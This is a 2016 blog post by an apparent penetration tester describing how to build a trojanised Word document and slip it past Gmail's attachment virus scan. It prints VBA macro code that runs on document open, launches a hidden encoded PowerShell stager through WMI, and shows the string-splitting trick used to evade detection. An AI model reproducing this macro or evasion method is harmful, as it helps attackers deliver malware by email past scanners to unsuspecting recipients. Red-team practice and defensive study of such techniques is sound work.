Bypassing Gmail Attachment Virus Check

Note: This was posted in January 2016

My blog has moved: https://vincentyiu.co.uk

So today whilst doing some practice on creating trojanised Microsoft Word documents, I came across an issue. Gmail by default has a virus check on attachments if you want to send a malicious attachment out.

To insert a payload into the word document, I firstly created a template which looked like the below.

After doing so, creating the macro using AutoOpen and Document_Open was trivial. I made use of a powershell one liner payload along with process creation to launch powershell using an encrypted Payload. Using Powershell Empire’s default copy and paste macro stager, this is detected.

Sample payload:

Sub AutoOpen()
Debugging
End Sub

Sub Document_Open()
Debugging
End Sub

Public Function Debugging() As Variant
Dim Str As String
str = “powershell.exe -NoP -NonI -W Hidden -Enc JAB3AGMAP”
str = str + “QBOAGUAVwAtAE8AYgBKAGUAQwB0ACAAUwB5AFMAVABlAE0ALgB”

<snip to save space and sensitivity>

str = str + “ATwBJAG4AJwAnACkA”
Const HIDDEN_WINDOW = 0
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:\\” & strComputer & “\root\cimv2″)
Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject(“winmgmts:\\” & strComputer & “\root\cimv2:Win32_Process”)
objProcess.Create str, Null, objConfig, intProcessID
End Function

What I did was begin removing lines of code and kept uploading repeatedly to Gmail attachments until it would no longer detect it as a virus.

I made adjustments to the payload trying to identify which string or pattern the AV was picking up. I quickly realised that it was the fact that the “-Enc” was part of the payload.

To resolve this, I split the “-Enc” string into “-E” and “nc” then concatenated it together. For example:

Dim Yops As String

Yops = “powershell.exe -Enc PAYLOADHERE”

This would be translated to the following:

Dim Yops As String

Yops = “powershell.exe -E”

Yops = Yops + “nc PAYLOADHERE”

However, this technique did not work. My next approach to thinking about it was that the “Yops” string is checked at the end after all the concatenation to determine whether “-Enc” is followed by “powershell.exe”. Therefore what I did was the following and it bypassed the virus checks.

Dim Yops As String

Yops = “powershell.exe -E”

Yolo = “nc PAYLOAD”

Yops = Yops + Yolo + “HERE”

This quickly bypassed the antivirus feature on Gmail’s attachments and I was able to send the payload to my other machine for testing.